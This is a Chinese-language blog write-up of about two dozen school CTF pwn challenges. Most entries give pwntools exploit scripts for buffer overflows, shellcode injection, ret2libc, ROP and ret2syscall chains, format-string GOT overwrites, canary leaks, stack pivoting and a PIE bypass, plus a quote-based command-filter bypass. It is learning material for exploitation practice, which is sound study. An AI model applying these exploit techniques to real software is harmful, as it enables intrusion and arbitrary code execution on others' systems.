虽然之前写了一篇合集文章(戳这里)…
最近想复健一下pwn,刷了一下学校的靶场,单独公开写一篇督促一下自己…
非常非常简单考点重复的就不记了。
0x00 sandbox
一般满足过滤条件的、代替cat的指令试了几个都回显不存在,尝试加了单引号成功绕过过滤。
payload:c''at f''lag
0x01 Choice
int __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF init(); puts(s); puts("Menu:"); puts(a1); puts("2.删除数据:"); puts(a3); __isoc99_scanf(&unk_400A75, &v4); if ( v4 == 1 ) { Data1(); } else if ( v4 == 2 ) { Data2(); } else { Data3(); } return 0; }
选项3写入长度存在溢出,给了自带的shell函数,地址为0x4007BD,指向它即可。
#!/usr/bin/env python # coding=utf-8 from pwn import * #context.arch = 'i386' local = 1 if local == 1: r=process('./Choice') gdb.attach(r,"b * 0x400978") else: r = remote('1.95.36.136',2125) ret = 0x400979 r.recvuntil("3.查询数据:\n") payload = '3' r.sendline(payload) r.recvuntil("的名字:\n") payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x4007BD) r.sendline(payload2) r.interactive()
0x02 overload1
覆盖v5的值为a就可以执行system函数:

0x03 你是大佬还是菜鸡
caiji()
存在溢出,让其溢出后执行hint()
#!/usr/bin/env python # coding=utf-8 from pwn import * #context.arch = 'i386' local = 2 if local == 1: r=process('./pwn') else: r = remote('1.95.36.136',2051) r.recvuntil("Ji\n") r.sendline("2") payload = 'a'*0x20+p64(0xdeadbeef)+p64(0x4008AF)+p64(0x4008B0) r.sendline(payload) r.interactive()
0x04 Easy_ShellCode
str是全局变量,在str中写入shellcode,利用栈溢出覆盖返回地址为str的地址(0x0804A080),从而执行str中的shellcode。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./Easy_ShellCode') else: r = remote('1.95.36.136',2082) context.arch = 'i386' r.recvuntil("Input:\n") payload = asm(shellcraft.sh(), os = 'linux') r.sendline(payload) r.recvuntil("name ?:") payload2 = 'a'*0x68+p32(0xdeadbeef)+p32(0x0804A080) r.sendline(payload2) r.interactive()
0x05 play
和Easy_ShellCode那题一样的,不过是64位:
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./play') else: r = remote('1.95.36.136',2082) libc = ELF('/lib/i386-linux-gnu/libc.so.6') context.arch = 'amd64' r.recvuntil("playing.\n") payload = asm(shellcraft.sh(), os = 'linux') r.sendline(payload) ret = 0x4007CB r.recvuntil("game?") payload2 = 'a'*0x30+p64(0xdeadbeef)+p64(ret)+p64(0x06010A0) r.sendline(payload2) r.interactive()
0x06 name4
int Start() { char s[20]; // [esp+8h] [ebp-20h] BYREF int v2; // [esp+1Ch] [ebp-Ch] v2 = 0; puts("Enter your name:"); read(0, name, 0x40u); puts("Enter your best friend name:"); read(0, &::s, 0x40u); if ( name[0] ) return write(1, "Are you OK?", 0xEu); puts("give you stack overflow:"); gets(s); return printf("byebye%s\n", name); }
分析代码,要让if()判断为false,&::s
是取全局变量s
的地址,在这里写入shellcode。栈里的s
溢出后调用:
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./name4') else: r = remote('1.95.36.136',2082) libc = ELF('/lib/i386-linux-gnu/libc.so.6') context.arch = 'i386' r.recvuntil("name:\n") payload = b"\x00" r.sendline(payload) r.recvuntil("friend name:\n") shellcode = asm(shellcraft.sh(), os = 'linux') r.sendline(shellcode) r.recvuntil("overflow:\n") payload = 'a'*0x20+p32(0xdeadbeef)+p32(0x804A0E0) r.sendline(payload) r.interactive()
0x07 guess
遇见gets()
函数,且已知system
的地址,可以构造p32(gets)+p32(system)+p32(bss)+p32(bss)
:
#!/usr/bin/env python # coding=utf-8 from pwn import * #context.arch = 'i386' local = 1 if local == 1: r = process('./guess') #gdb.attach(r,"b * 0x08048757") else: r = remote('1.13.251.106',8000) libc = ELF('/lib/i386-linux-gnu/libc.so.6') context.arch = 'i386' elf = ELF('./guess') gets = elf.plt['gets'] system = elf.plt['system'] bss = 0x804a200 r.recvuntil("try it?") payload = 'a'*0x6C+p32(0xdeadbeef)+p32(gets)+p32(system)+p32(bss)+p32(bss) r.sendline(payload) r.interactive()
执行后可以输入一条命令,即system()
的参数是bss的值,输入/bin/sh可以获得shell。
0x08 x64
找到/bin/sh的地址,ROPgadget --binary x64 --only "pop|ret"
,然后找到pop rdi ; ret
的地址,传参即可:
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./x64') else: r = remote('1.95.36.136',2084) libc = ELF('/lib/i386-linux-gnu/libc.so.6') ret = 0x0400771 pop_rdi = 0x00000000004007e3 payload = "a"*0x80+p64(0xdeadbeef)+p64(ret)+p64(pop_rdi)+p64(0x0601060)+p64(0x04006B6) r.sendline(payload) r.interactive()
0x09 friend
太累了,不想写过程XD
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./friend') #gdb.attach(r,'b * 0x80486CE') libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2088) elf = ELF('./friend') r.recvuntil("Please enter what you need:\n") r.sendline("2") r.recvuntil("Ret2libc\n") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] log.info("puts_plt:"+hex(puts_plt)) log.info("puts_got:"+hex(puts_got)) main = 0x0804863A payload = 'a'*0x70+p32(0xdeadbeef)+p32(puts_plt)+p32(main)+p32(puts_got) r.sendline(payload) puts_addr = u32(r.recv(4)) print(hex(puts_addr)) #0x3d3d3d0a r.recvuntil("Please enter what you need:\n") r.sendline("2") r.recvuntil("Ret2libc\n") baseaddr = puts_addr - 0x5f150 system = baseaddr + 0x3a950 binsh = baseaddr + 0x15912b payload2 = 'a'*0x70+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh) r.sendline(payload2) r.interactive()
0x0a travel
因为printf里的第一个参数可控,所以存在格式化字符串漏洞。
unsigned int vuln() { char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v2; // [esp+6Ch] [ebp-Ch] v2 = __readgsdword(0x14u); memset(buf, 0, sizeof(buf)); puts("Do you want to travel?"); read(0, buf, 0x30u); printf(buf); if ( n == 4 ) Get_Shell(); else puts("Let's go!"); return __readgsdword(0x14u) ^ v2; }
首先需要在栈里面伪造指针,使用gdb调试,输入aaaabbbbccccdddd试试看:
r.sendline("aaaabbbbccccdddd")

%n有一个特性,前面有多少个字符串,在指定写的地址就会赋值多少,所以前面要满足是有4个字符串,可以在上述测试字符的bbbb替换为%8$n
,在08的位置替换为全局变量n的地址。
#!/usr/bin/env python # coding=utf-8 from pwn import * #context.arch = 'i386' local = 0 if local == 1: r = process('./travel') #gdb.attach(r,"b * 0x0804864A") else: r = remote('1.95.36.136',2135) sleep(1) r.recvuntil('travel?') r.sendline("aaaa%8$n"+p32(0x804A030)) r.interactive()
0x0b likelibc3
栈溢出,有system函数,也有/bin/sh字符串,但是需要截一下^^

#!/usr/bin/env python # coding=utf-8 from pwn import * #context.arch = 'i386' local = 0 if local == 1: r = process('./likelibc3') else: r = remote('1.95.36.136',2083) binsh = 0x8048570+len('Here is the ') payload = 'a'*0x2C+p32(0xdeadbeef)+p32(0x08048492)+p32(binsh) r.sendline(payload) r.interactive()
0x0c 没人能拒绝猫猫
这题是好久以前自己出的……可以通过溢出buf来修改s2的值。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./cat') else: r = remote('node5.buuoj.cn',26737) r.recvuntil("hatecat)\n") payload = 'a'*32 + 'lovecat'+p64(0) r.sendline(payload) r.interactive()
0x0d easypwn2
int __fastcall main(int argc, const char **argv, const char **envp) { char s[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); init(argc, argv, envp); puts("**********************************"); puts("* Welcome to the 504sys! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("**********************************"); __isoc99_scanf("%16s", s); if ( strchr(s, '-') ) return 0; if ( atoi(s) < 0 ) vuln(); return 0; }
题目目标是在不输入负号的前提下触发 vuln()
函数,让程序输出 flag。
atoi(s)
会将用户输入的字符串转换为整数,利用整数溢出使其变为负数。
atoi("2147483648") → -2147483648
0x0e getshell
已知v4的地址,向v4里写shell,溢出后再次指向v4执行shell即可。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./111111') else: r = remote('1.95.36.136',2128) context.arch = 'amd64' shellcode = asm(shellcraft.sh(), os = 'linux') v4_addr = r.recv(0xe) v4_addr = int(v4_addr, 16) payload = shellcode + 'a'*(0x70-len(shellcode))+p64(0xdeadbeef)+p64(v4_addr)+p64(0) r.sendline(payload) r.interactive()
0x0f Easy_Text+Fmt
int __cdecl main(int argc, const char **argv, const char **envp) { char s[104]; // [esp+Ch] [ebp-6Ch] BYREF init(); puts("Please Input Your Lucky Number:"); gets(s); printf(s); if ( x == 'B' ) Choice1(); if ( y == 'fff' ) Choice2(); if ( d == 48 ) Choice3(); else printf("You don't know much about string formatting, so go ahead and learn!"); return 0; }
32位的格式化字符串,先看第几位可控:
payload = 'aaaaaa'+ '%p' * 0x68
根据回显判断是第7位可控,可以让d == 48触发Choice3()
,改d的值思路大概是这样:
0000
0000
0000
0000
0000
0000
%48c # 48个空格
%9$n # 更改第九行的地址中的值
0804A040 # d的地址
int Choice3() { char v1[58]; // [esp+Eh] [ebp-3Ah] BYREF printf("you are good good good!,see see overload"); puts("Try It ! Please Input:"); return __isoc99_scanf("%s", v1); }
__isoc99_scanf("%s", v1);
同等于gets()
,直接溢出到Choice4()
。完整exp如下:
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./TextFmt') else: r = remote('1.95.36.136',2128) r.recvuntil("Lucky Number:\n") #payload = 'aaaaaa'+ '%p' * 0x68 payload = '%48c%9$n'+ p32(0x804A040) r.sendline(payload) r.recvuntil("Please Input:\n") payload2 = 'a'*0x3A + p32(0xdeadbeef) +p32(0x80486b0) r.sendline(payload2) r.interactive()
0x10 小猫喵喵喵
这道题分析main函数,调用了两个函数:
int __cdecl main(int argc, const char **argv, const char **envp) { init(); meow(); fish(); return 0; }
meow()
会先调用scanf
让用户输入数字。
int meow() { unsigned int v0; // eax int result; // eax int v2; // [esp+8h] [ebp-10h] BYREF int v3; // [esp+Ch] [ebp-Ch] v0 = time(0); srand(v0); v3 = rand(); __isoc99_scanf(&unk_8048760, &v2); result = v2; if ( v2 == v3 ) return system("Meow!!!"); return result; }
fish()
有栈溢出,但是程序执行到How many fish does the kitten eat直接就结束,并没有让用户输入,很怪……
char *fish() { char s[108]; // [esp+Ch] [ebp-6Ch] BYREF puts("How many fish does the kitten eat"); return gets(s); }
原因是gets()
直接读到了scanf("%d")
留下的换行\n
,导致直接中断了……
解决方法是可以使用\r替代\n,接下来正常栈溢出就可以了,构造p32(elf.plt[‘gets’])+p32(elf.plt[‘system’])+p32(可写地址)+p32(可写地址)

#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./fish') gdb.attach(r,'b * 0x80486B0') else: r = remote('1.95.36.136',2084) elf = ELF('./fish') sleep(1) r.send('1\r') r.recvuntil("kitten eat") payload = 'a'*0x6B+p32(0xdeadbeef)+p32(elf.plt['gets'])+p32(elf.plt['system'])+p32(0x0804a900)+p32(0x0804a900) r.sendline(payload) r.interactive()
0x11 03ret2syscall_32
eax: 系统调用号(system call number)0xb
ebx: 第一个参数 /bin/sh/
ecx: 第二个参数 0
edx: 第三个参数 0
...
通过触发中断 int 0x80
来执行系统调用。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./03ret2syscall_32') #gdb.attach(r,'b * 0x0804890E') else: r = remote('1.95.36.136',2131) sleep(1) int_0x80 = 0x0806cea3 eax_ret = 0x080b8576 edx_ecx_ebx = 0x0806f250 r.recvuntil("Luck.\n") payload = 'a'*0x208+p32(0xdeadbeef)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(0x80EA068)+p32(int_0x80) r.sendline(payload) r.interactive()
0x12 look
这道题需要用write函数泄露ibc版本。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./look') else: r = remote('1.95.36.136',2126) elf = ELF('./look') write_plt = elf.plt['write'] write_got = elf.got['write'] log.info("write_plt:"+hex(write_plt)) log.info("write_got:"+hex(write_got)) Star = 0x8048561 payload = 'a'*0x6C+p32(0xdeadbeef)+p32(write_plt)+p32(Star)+p32(1)+p32(write_got)+p32(4) #一次传入4字节 r.sendline(payload) write = u32(r.recv(4)) base_addr = write - 0xd5c90 system = base_addr + 0x3adb0 binsh = base_addr + 0x15bb2b payload = 'a'*0x6C+p32(0xdeadbeef)+p32(system)+p32(0)+p32(binsh) r.sendline(payload) r.interactive()
0x13 格式化字符串劫持got
int come_on() { char buf[64]; // [esp+Ch] [ebp-4Ch] BYREF unsigned int v2; // [esp+4Ch] [ebp-Ch] v2 = __readgsdword(0x14u); system("echo hhh~"); read(0, buf, 0x50u); printf(buf); puts("echo you are good"); puts("echo hh,the shell give you"); printf("/bin/sh"); return 0; }
溢出位只有四个字符,且这道题有canary保护,不用考虑溢出getshell了,因为存在格式化字符串漏洞,且题目中会执行printf("/bin/sh");
遂考虑把printf()函数的got表地址指向改为system的plt:
printf.plt
jump printf.got -> system.plt jump system.got -> system真实地址
尝试寻找溢出点,发现第7位存在溢出。
payload = 'aaaa'+'%p'*0x4c -> 7
这道题是32位的程序,一个地址占4个字符,考虑用%hn一次改两个字符,%n一次改4个有点大了。
system函数的plt地址为0x08048490,0x0804的十进制为2052,0x8490的十进制为33936,还需要减去前面的2052,所以为31884,最后逻辑大概是这样:
0000
0000
0000
0000
0000
0000
%205 #从这里开始可控
2c%1
4$hn
%318
84c%
15$h
n000
printf.got+2 #小端序更改前面两个需要+2
printf.got
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./pwn1') else: r = remote('1.95.36.136',2129) elf = ELF('./pwn1') printf = elf.got['printf'] r.recvuntil("hhh~") #payload = 'aaaa'+'%p'*0x4c -> 7 payload = '%2052c%14$hn%31884c%15$hn'+'\x00\x00\x00'+p32(printf+2)+p32(printf) r.sendline(payload) r.interactive()
0x14 格式化
有canary保护,首先要知道canary的值。第一步找canary的位置,发现在第31位。
payload = '%p,'*60
然后溢出引到后门函数,canary固定位置是rbp-8。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./format_canary2') else: r = remote('1.95.36.136',2143) elf = ELF('./format_canary2') payload = '%31$p' r.sendline(payload) canary = r.recv(18) canary = int(canary,16) payload = 'a'*(0xD0-8)+p64(canary)+p64(0xdeadbeef)+p64(0x400805)+p64(0) r.sendline(payload) r.interactive()
0x15 choose
同格式化字符串 泄露canary->确定libc版本->溢出。这道题需要注意两点,一是每次的choose最好sleep一下不然payload容易黏在一起,二是libc2.27版本之前的(这道题2.23)不用平栈。
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./pwn2') gdb.attach(r,'b * 0x40089E') else: r = remote('1.95.36.136',2133) elf = ELF('./pwn2') r.recvuntil("3.Buf overflow\n") r.sendline("1") sleep(1) payload = '%11$p' r.sendline(payload) canary = r.recv(18) canary = int(canary,16) r.recvuntil("3.Buf overflow\n") r.sendline("2") puts_got = elf.got['read'] payload = str(puts_got) r.sendline(payload) sleep(1) puts_addr = u64(r.recv(6)+'\x00\x00') print(hex(puts_addr)) base_addr = puts_addr - 0x6f6a0 system = base_addr + 0x453a0 binsh = base_addr + 0x18ce57 rdi = 0x0000000000400a93 ret = 0x00000000004005f1 r.recvuntil("3.Buf overflow\n") r.sendline("3") sleep(1) payload = 'a'*(0x30-8)+p64(canary)+p64(0xdeadbeef)+p64(rdi)+p64(binsh)+p64(ret)+p64(system) r.sendline(payload) r.interactive()
0x16 8字节能干什么
栈迁移,这道题原来可控的其实只有8个字节,需要把ROP链写到一个已知地址、可读可写、长度满足的地方,比如bss段。
int vuln() { int buf[11]; // [esp+8h] [ebp-30h] BYREF memset(buf, 0, 40); read(0, buf, 0x38u); printf("%s", (const char *)buf); read(0, buf, 0x38u); return printf("%s", (const char *)buf); }
在ida里可以找到bss段从0x804A040开始,开头有这些乱七八糟的所以最好挑中部写入,这里挑0x804A500

gdb调试,在第一个printf函数那里下断点,可以看到esp+24号开始是输入内容的地方,esp+72号是程序运行时栈的地址,相差48。
payload = 'a'*47+'b'

分析stack,可以得知b后面那四个字符就是[程序运行时栈分配的一个地址],这个地址和[输入时程序分配的栈的第一个地址]的偏移量是固定的,为0x40。因为leave_ret的汇编指令最后会add esp,4,所以需要-4。

最后把完成的system(“/bin/sh”)的ROP链写入栈,调用刚才找到的[输入时程序分配的栈的第一个地址]进行栈迁移,完整exp如下(要记得/bin/sh写在system函数的后面,否则会被system函数开辟的栈空间覆盖掉):
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 1 if local == 1: r = process('./11') gdb.attach(r,"b * 0x804858C") #gdb.attach(r,"b * do_system+1092") else: r = remote('1.95.36.136',2064) elf = ELF('./11') sleep(1) r.send("a"*47+"b") r.recvuntil("aaab") stack = u32(r.recv(4)) log.success("stack:"+hex(stack)) leave_ret = 0x804858C system = 0x80485FB r.send(p32(system)+p32(stack-0x18)+p32(0)+"a"*(0x30-12-8)+"/bin/sh\x00"+p32(stack-0x44)+p32(leave_ret)) r.interactive()
这道题如果不给system函数的话,还可以泄露基地址:
gdb调试,发现libc本地版本为2.23,从esp+24号开始是输入内容的地方,esp+64存的是libc内的结构体(特征是f7开头)。
通过vmmap命令可以看到基地址从0xf7d55000开始,实际存入的libc地址为0xf7f08cc0,偏移量为固定值0x1b3cc0。但是实际存入的libc地址会根据程序运行变化,需要泄露出来。

实际的libc地址离输入相差64-24=40个字符,泄露出来的地址就是libc的实际地址:
payload = 'a'*39+'b'
0x17 go
这道题开启了PIE保护,所以函数的地址每次运行都是变化的。
main函数如下:
int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); puts("Wishing you unstoppable power in gaming and life!"); printf("csgo>>>%p\n", win); vuln(); return 0; }
执行该程序,输出:
Wishing you unstoppable power in gaming and life!
csgo>>>0x55b931d1c960
Input: Alarm clock
输出的是win函数的地址,在ida可以看到win函数的偏移量为960,所以把输出的内容-偏移量=程序的基址
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./go') else: r = remote('1.95.36.136',2109) elf = ELF('./11') r.recvuntil(">>>") win_addr = int(r.recv(14),16) base_addr = win_addr - 0x960 r.recvuntil("Input:") payload = 'a'*0x30+p64(0xdeadbeef)+p64(base_addr+0x94D)+p64(0) r.sendline(payload) r.interactive()
0x18 format
输入no->修改n的值为4->back()->利用p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(可写地址)+p32(可写地址)->getshell
#!/usr/bin/env python # coding=utf-8 from pwn import * local = 0 if local == 1: r = process('./111') #gdb.attach(r,"b * 0x80487A7") else: r = remote('1.95.36.136',2127) elf = ELF('./111') r.recvuntil("shell?") r.send('no') r.recvuntil("hacker!") # payload = 'aaaa'+'%p '* 10 4 payload = 'aaaa%6$n'+p64(0x0804A06C) r.sendline(payload) r.recvuntil("666!\n") payload = 'a'*0x18 +p32(0xdeadbeef)+p32(elf.symbols['gets'])+p32(elf.symbols['system'])+p32(0x0804a500)+p32(0x0804a500) r.sendline(payload) r.interactive()